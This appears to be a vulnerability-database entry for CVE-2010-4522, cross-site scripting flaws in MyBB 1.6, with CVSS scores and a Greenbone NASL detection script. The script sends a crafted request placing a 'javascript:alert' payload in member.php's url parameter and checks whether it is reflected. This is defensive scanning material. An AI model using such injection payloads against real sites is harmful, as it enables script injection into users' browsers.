CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
AI Score
Confidence
High
EPSS
Percentile
57.2%
MyBB is prone to multiple cross-site scripting vulnerabilities.
# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:mybb:mybb";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.801684");
script_version("2023-07-28T05:05:23+0000");
script_tag(name:"last_modification", value:"2023-07-28 05:05:23 +0000 (Fri, 28 Jul 2023)");
script_tag(name:"creation_date", value:"2011-01-08 10:30:18 +0100 (Sat, 08 Jan 2011)");
script_cve_id("CVE-2010-4522");
script_tag(name:"cvss_base", value:"4.3");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
script_name("MyBB Multiple Cross-Site Scripting Vulnerabilities");
script_xref(name:"URL", value:"http://openwall.com/lists/oss-security/2010/12/22/2");
script_xref(name:"URL", value:"http://openwall.com/lists/oss-security/2010/12/20/1");
script_xref(name:"URL", value:"http://blog.mybb.com/2010/12/15/mybb-1-6-1-release-1-4-14-update/");
script_xref(name:"URL", value:"http://yehg.net/lab/pr0js/advisories/[mybb1.6]_cross_site_scripting");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2011 Greenbone AG");
script_family("Web application abuses");
script_dependencies("sw_mybb_detect.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("MyBB/installed");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");
script_tag(name:"impact", value:"Successful exploitation will allow attackers to inject arbitrary web script
or HTML.");
script_tag(name:"affected", value:"MyBB 1.6 and prior.");
script_tag(name:"insight", value:"The flaws are caused by improper validation of user-supplied input via
vectors related to 'editpost.php', 'member.php', and 'newreply.php'.");
script_tag(name:"solution", value:"Upgrade to MyBB version 1.6.1 or later.");
script_tag(name:"summary", value:"MyBB is prone to multiple cross-site scripting vulnerabilities.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_app");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
if(!port = get_app_port(cpe:CPE, service:"www"))
exit(0);
if(!dir = get_app_location(cpe:CPE, port:port))
exit(0);
if(dir == "/")
dir = "";
url = dir + "/member.php?action=login&url=javascript:alert%28/XSS/%29";
if(http_vuln_check(port:port, url:url, pattern:'<input type="hidden" name="url" value="javascript:alert\\(/XSS/\\)" />', check_header:TRUE)) {
report = http_report_vuln_url(port:port, url:url);
report += '\nNote: The XSS is only "triggered" upon a successful login.';
security_message(port:port, data:report);
exit(0);
}
exit(99);